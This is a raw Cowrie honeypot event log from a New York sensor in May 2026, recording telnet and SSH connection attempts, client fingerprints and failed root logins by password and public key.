{"eventid":"cowrie.session.closed","duration":38.79771900177002,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:02:59.835055Z","src_ip":"38.60.198.128","session":"35c4c8f420ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.52358269691467,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:01.474172Z","src_ip":"38.60.198.128","session":"0ecbf833b043","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46688,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa4e90574448","protocol":"telnet","message":"New connection: 38.60.198.128:46688 (159.203.135.109:23) [session: fa4e90574448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:02.337845Z"}
{"eventid":"cowrie.session.closed","duration":41.27566123008728,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:04.037548Z","src_ip":"38.60.198.128","session":"742c2e3bb2d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.40571427345276,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:04.274540Z","src_ip":"38.60.198.128","session":"9aedd1b40263","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57364,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d1d826e7c9c","protocol":"telnet","message":"New connection: 38.60.198.128:57364 (159.203.135.109:23) [session: 0d1d826e7c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:10.364248Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36058,"dst_ip":"10.17.0.5","dst_port":23,"session":"68f8accb9818","protocol":"telnet","message":"New connection: 38.54.119.93:36058 (10.17.0.5:23) [session: 68f8accb9818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:11.939781Z"}
{"eventid":"cowrie.session.closed","duration":42.405662536621094,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:13.559190Z","src_ip":"38.60.198.128","session":"783f1657cf80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33976,"dst_ip":"159.203.135.109","dst_port":23,"session":"e189e425e36d","protocol":"telnet","message":"New connection: 38.60.198.128:33976 (159.203.135.109:23) [session: e189e425e36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:13.709492Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36414,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6be62da7c23","protocol":"telnet","message":"New connection: 38.60.198.128:36414 (159.203.135.109:23) [session: f6be62da7c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:16.450959Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41018,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fc19c00d878","protocol":"telnet","message":"New connection: 38.60.198.128:41018 (159.203.135.109:23) [session: 2fc19c00d878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:18.762439Z"}
{"eventid":"cowrie.session.closed","duration":39.027806997299194,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:18.908594Z","src_ip":"38.60.198.128","session":"8d56e7646430","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.627544403076172,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:19.567188Z","src_ip":"38.54.119.93","session":"68f8accb9818","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.41746735572815,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:20.919892Z","src_ip":"38.60.198.128","session":"f9fa0ced5b2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.2880117893218994,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:21.050349Z","src_ip":"38.60.198.128","session":"2fc19c00d878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.902482986450195,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:22.870924Z","src_ip":"38.60.198.128","session":"79eed8b7abc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50308,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f011380dceb","protocol":"telnet","message":"New connection: 38.60.198.128:50308 (159.203.135.109:23) [session: 9f011380dceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:28.900825Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":34886,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e38dc781e0b","protocol":"ssh","message":"New connection: 198.98.56.205:34886 (159.203.135.109:22) [session: 5e38dc781e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:33.533120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:33.538093Z","src_ip":"198.98.56.205","session":"5e38dc781e0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:33.543646Z","src_ip":"198.98.56.205","session":"5e38dc781e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"user","message":"login attempt [username/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:33.595553Z","src_ip":"198.98.56.205","session":"5e38dc781e0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:34.605493Z","src_ip":"198.98.56.205","session":"5e38dc781e0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":51690,"dst_ip":"10.17.0.5","dst_port":23,"session":"03a5a8e0216f","protocol":"telnet","message":"New connection: 45.81.23.16:51690 (10.17.0.5:23) [session: 03a5a8e0216f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:35.320827Z"}
{"eventid":"cowrie.session.closed","duration":42.55294418334961,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:36.047713Z","src_ip":"38.60.198.128","session":"2a9564cc6af0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.89233183860779,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:36.230053Z","src_ip":"38.60.198.128","session":"fa4e90574448","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37442,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad42ccc7a96b","protocol":"telnet","message":"New connection: 38.60.198.128:37442 (159.203.135.109:23) [session: ad42ccc7a96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:38.553572Z"}
{"eventid":"cowrie.session.closed","duration":3.4292237758636475,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:38.749906Z","src_ip":"45.81.23.16","session":"03a5a8e0216f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":40762,"dst_ip":"159.203.135.109","dst_port":23,"session":"d202d5a63b2a","protocol":"telnet","message":"New connection: 192.211.53.160:40762 (159.203.135.109:23) [session: d202d5a63b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:41.244044Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.252.238.153","src_port":56812,"dst_ip":"10.17.0.5","dst_port":22,"session":"4baa49fa9e96","protocol":"ssh","message":"New connection: 216.252.238.153:56812 (10.17.0.5:22) [session: 4baa49fa9e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:42.278370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:42.283460Z","src_ip":"216.252.238.153","session":"4baa49fa9e96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:42.369347Z","src_ip":"216.252.238.153","session":"4baa49fa9e96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:1e:2c:30:a8:19:da:6f:81:d4:11:d1:62:82:cc:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC//xQh8iv+k80jj289kEkd4pqSfMEpvam/wm4MaH3imGAe7ZhMt3W1+Qgw+hxtaFxmbTsnDe6gjuvwsOkSH27kAU1Ej7QRH5v35Hg/Ah0LB0fd8cKf3KCxrn39XonkoAsI2gkgWSBnDakNI19Xu1QC/DOMNr2aThoVS8r+31wg0QoZs+G4T/mVqTAyY4NCp6Dh0KDIKsGYKm6dnSoVktKbjK7tH6rHcFJ5R/A3BBQ88V4V8KpScl4OdvblOUEeGrhqhGLLyXCnVdZw7bhey5mdcpXJ5pyfPSf/dJ3D0v1OEZJzIQ438ZJGo6BJA/QwDjvk5GopKPDhpxMj2PHWehltDOVYI5+Elhym7qROZlSAUmIqZBIGQqMp5YkmvaCeimh3H6wDS3PzpVgXdsUwu4Tb9muy791BXKSpL9f5EWx6RgPcvF56i0F0DfGyF01fY4Vdc6P7XH6Qsbqvqw/dfbfxVei91DKXWtzxHAIlUa/r6rAYYBl5wroKOTldywdde+ry4xT8KZrVGDAYwQSru54Qtmi8Gf9hT9Xj20mra0SW/zep+bl/NkRy3TWnLeLIh2n5aIdLzJdgi2+V2Rqw/FJK4Y0pifsFwTOpuv2WygoG9ZQ3yvK+npla7KDvBd1wH8I+GWTyfxwY2R1wPafrkuNEvtPMwLsCse3uXPC8dYMpJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:1e:2c:30:a8:19:da:6f:81:d4:11:d1:62:82:cc:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:42.780000Z","src_ip":"216.252.238.153","session":"4baa49fa9e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:1e:2c:30:a8:19:da:6f:81:d4:11:d1:62:82:cc:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC//xQh8iv+k80jj289kEkd4pqSfMEpvam/wm4MaH3imGAe7ZhMt3W1+Qgw+hxtaFxmbTsnDe6gjuvwsOkSH27kAU1Ej7QRH5v35Hg/Ah0LB0fd8cKf3KCxrn39XonkoAsI2gkgWSBnDakNI19Xu1QC/DOMNr2aThoVS8r+31wg0QoZs+G4T/mVqTAyY4NCp6Dh0KDIKsGYKm6dnSoVktKbjK7tH6rHcFJ5R/A3BBQ88V4V8KpScl4OdvblOUEeGrhqhGLLyXCnVdZw7bhey5mdcpXJ5pyfPSf/dJ3D0v1OEZJzIQ438ZJGo6BJA/QwDjvk5GopKPDhpxMj2PHWehltDOVYI5+Elhym7qROZlSAUmIqZBIGQqMp5YkmvaCeimh3H6wDS3PzpVgXdsUwu4Tb9muy791BXKSpL9f5EWx6RgPcvF56i0F0DfGyF01fY4Vdc6P7XH6Qsbqvqw/dfbfxVei91DKXWtzxHAIlUa/r6rAYYBl5wroKOTldywdde+ry4xT8KZrVGDAYwQSru54Qtmi8Gf9hT9Xj20mra0SW/zep+bl/NkRy3TWnLeLIh2n5aIdLzJdgi2+V2Rqw/FJK4Y0pifsFwTOpuv2WygoG9ZQ3yvK+npla7KDvBd1wH8I+GWTyfxwY2R1wPafrkuNEvtPMwLsCse3uXPC8dYMpJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:42.784670Z","src_ip":"216.252.238.153","session":"4baa49fa9e96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:22:35:25:ab:84:44:e3:56:54:34:22:62:bc:29:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAuPtLmnu7moTn6ykmlvwz1nwq72HmBXDRFPxdfsW6HAWu+nDvcpfxi2hoSDG2rOAmnbF401wcxr8uNYSdE3Z1/lGFbCgIMskGFuY/yptocjK9pFjNus/IR7FYKY25FlN5nlcb7vDjHB0hW3mQaGElOkeKmJNxGvP92VWoia2Heh5Oz8K2/myz19Fgpv6O5aSFBnmXAacPtryZOpJ+X1hx1RWJaHjUjwQCPuVbV4btccwPuaQn1QYQH+w38ZmXex21Curygh8a00GFb8zMGCTKAlzHnD2K8N8bk4CAmhbkB10lv1ehIpB37fTxq3QSTZ6NtEdI+uR6zx9Wf30WEXe63BxJuzbgg/XgyhcpXgfI6UaPuRc6AznwqIL/wXViuDmx4BbJlkimKDN+DdruY04hhIjjbffGGEFG+RTtbY+a6KZSK+TwHgcYran1VVizdpxWE3CDI4z/TvHLRbygQe/EP3aBvwU3Y5ho3SDWZ7mCu+teW/RiGEkNjudWqKoD6jnqWL+c1N2SKhg7pBtvhdf9Mi+sd57BP/T+P8odoZSvDDG+ngPZmkReZfyj3jsBYma68vOdoEAJ22/drmXXCMgvGwcMs/O4kh81IyW/aQiFlHyDDP6oBiA5XLHhgUhZNRa0/VVCub/OeT79F8F/K1nz8xVQMIVXJSvCidsO0K+PKD8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:22:35:25:ab:84:44:e3:56:54:34:22:62:bc:29:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:42.872364Z","src_ip":"216.252.238.153","session":"4baa49fa9e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:22:35:25:ab:84:44:e3:56:54:34:22:62:bc:29:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAuPtLmnu7moTn6ykmlvwz1nwq72HmBXDRFPxdfsW6HAWu+nDvcpfxi2hoSDG2rOAmnbF401wcxr8uNYSdE3Z1/lGFbCgIMskGFuY/yptocjK9pFjNus/IR7FYKY25FlN5nlcb7vDjHB0hW3mQaGElOkeKmJNxGvP92VWoia2Heh5Oz8K2/myz19Fgpv6O5aSFBnmXAacPtryZOpJ+X1hx1RWJaHjUjwQCPuVbV4btccwPuaQn1QYQH+w38ZmXex21Curygh8a00GFb8zMGCTKAlzHnD2K8N8bk4CAmhbkB10lv1ehIpB37fTxq3QSTZ6NtEdI+uR6zx9Wf30WEXe63BxJuzbgg/XgyhcpXgfI6UaPuRc6AznwqIL/wXViuDmx4BbJlkimKDN+DdruY04hhIjjbffGGEFG+RTtbY+a6KZSK+TwHgcYran1VVizdpxWE3CDI4z/TvHLRbygQe/EP3aBvwU3Y5ho3SDWZ7mCu+teW/RiGEkNjudWqKoD6jnqWL+c1N2SKhg7pBtvhdf9Mi+sd57BP/T+P8odoZSvDDG+ngPZmkReZfyj3jsBYma68vOdoEAJ22/drmXXCMgvGwcMs/O4kh81IyW/aQiFlHyDDP6oBiA5XLHhgUhZNRa0/VVCub/OeT79F8F/K1nz8xVQMIVXJSvCidsO0K+PKD8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:42.876841Z","src_ip":"216.252.238.153","session":"4baa49fa9e96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:ad:1b:f2:4e:f6:f9:24:8a:63:01:80:a3:f9:e1:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSZb+ZwgAbdDIZsRkgYPb4nf6KoLT4ABA/UkFnWJ6Lo2VkOsCy1fiSXjtvz7NkrWe/JOKNQF6n+vFWKSlqQZ61n4/RXBi0dQmnuKZQ+1EWEz40CnoD+Bz+VQ7fhXTOrAGoAEsLQpBUpjJJKTP8lRWoh+qae0SqFK0PkaZPb4jO33DzcOlok7/hKbzfyhxPP5PQGcPo72NyxP050UH8vI9xveZB/R/lnPdll5ARtf8IXkN6xUUeF6b93IfHEQPSepFEu7Lzc2XSmu75qwD9JjXe1aQzfi6PeDN04h/B/5/58arbr082rZRfcRY9/90Fk5nhJAZV1cclP6ithVtGLUmpT3IidyuZNuQOf0utnWumgDOldbcEWrrD1cKXm8cSsocfAgjBCeJEpnWB+YUBWr4evJURi09BOaenhItX/M6ioevZ63SXwrGmpFRpy0L6JxChTMGN1KsurpHV6m6TJbYHVSC54QS6HjBzsDoeInRHhetJ8CqudMNG83rlMhd55uk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:ad:1b:f2:4e:f6:f9:24:8a:63:01:80:a3:f9:e1:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:42.964876Z","src_ip":"216.252.238.153","session":"4baa49fa9e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:ad:1b:f2:4e:f6:f9:24:8a:63:01:80:a3:f9:e1:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSZb+ZwgAbdDIZsRkgYPb4nf6KoLT4ABA/UkFnWJ6Lo2VkOsCy1fiSXjtvz7NkrWe/JOKNQF6n+vFWKSlqQZ61n4/RXBi0dQmnuKZQ+1EWEz40CnoD+Bz+VQ7fhXTOrAGoAEsLQpBUpjJJKTP8lRWoh+qae0SqFK0PkaZPb4jO33DzcOlok7/hKbzfyhxPP5PQGcPo72NyxP050UH8vI9xveZB/R/lnPdll5ARtf8IXkN6xUUeF6b93IfHEQPSepFEu7Lzc2XSmu75qwD9JjXe1aQzfi6PeDN04h/B/5/58arbr082rZRfcRY9/90Fk5nhJAZV1cclP6ithVtGLUmpT3IidyuZNuQOf0utnWumgDOldbcEWrrD1cKXm8cSsocfAgjBCeJEpnWB+YUBWr4evJURi09BOaenhItX/M6ioevZ63SXwrGmpFRpy0L6JxChTMGN1KsurpHV6m6TJbYHVSC54QS6HjBzsDoeInRHhetJ8CqudMNG83rlMhd55uk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:42.968742Z","src_ip":"216.252.238.153","session":"4baa49fa9e96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:87:87:77:bf:42:16:53:de:2d:30:e6:e8:45:b4:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfTy5XmEusrBijBuyINBYuGeL1QJB11gPdWTxfFOF+SoHMLO/mZTKjVciKiuK3RbF33jLHvp2cegTiOO+MS/2DlX/26KoyVW1tWS8WD6cJqaK9QJsqQX40f6jwdHUVsbWhLkA9PiF9nCFA24EOzKXOE3pd31eUzyDK2qN/nipSvi21YBnjdoKMSSfQcisghUrIPq2SUW9bOXTyoDxeT41jnOFYhqg46QrLho2AOiqmp8d56/+AIwfVVVyzxdi0HBXasitkadeGNLIGRF5qVgtqefs1/uqX2z911dElBswzFR3njCynGd5fLIsrxBaFe0Y8U+7nrZZs9/hfjsRGoiXv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:87:87:77:bf:42:16:53:de:2d:30:e6:e8:45:b4:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:43.057817Z","src_ip":"216.252.238.153","session":"4baa49fa9e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:87:87:77:bf:42:16:53:de:2d:30:e6:e8:45:b4:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfTy5XmEusrBijBuyINBYuGeL1QJB11gPdWTxfFOF+SoHMLO/mZTKjVciKiuK3RbF33jLHvp2cegTiOO+MS/2DlX/26KoyVW1tWS8WD6cJqaK9QJsqQX40f6jwdHUVsbWhLkA9PiF9nCFA24EOzKXOE3pd31eUzyDK2qN/nipSvi21YBnjdoKMSSfQcisghUrIPq2SUW9bOXTyoDxeT41jnOFYhqg46QrLho2AOiqmp8d56/+AIwfVVVyzxdi0HBXasitkadeGNLIGRF5qVgtqefs1/uqX2z911dElBswzFR3njCynGd5fLIsrxBaFe0Y8U+7nrZZs9/hfjsRGoiXv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:43.061900Z","src_ip":"216.252.238.153","session":"4baa49fa9e96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:54:8d:c3:25:de:0b:fa:1c:9c:fc:cd:e7:53:66:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1HyiERZ70BAxwxyvr8LqSRR9lR/Q7v0+suGyHOjeKzrk95MUOl1VriW6fL8WGgwOU8v27Isnhr7UaBBPCuT1TbPQMJX93zO2QQuMpRyMA+fzD81wEoNRtXMEKx+41MaeivWMXmLuRhNNqdWD0wFCAc9qtS/nfiIyVn2FWi6/GxJVF6YE1oohBXYUSHXxvDsW+fFcv0gdNrvlnMcjfd++9oJAbG4Y4vir81AdSGwyUtws04lRzvKf1PKN8OlsW8wPa04QvYlVtdVdHRXoMS66PDOuINU+s5KQ/rCVf6hsDz2dOx4jofU+eGQBYnHl7Nz1XV9pkcQSHF6qe/vBepDo9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:54:8d:c3:25:de:0b:fa:1c:9c:fc:cd:e7:53:66:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:03:43.153427Z","src_ip":"216.252.238.153","session":"4baa49fa9e96","protocol":"ssh"}
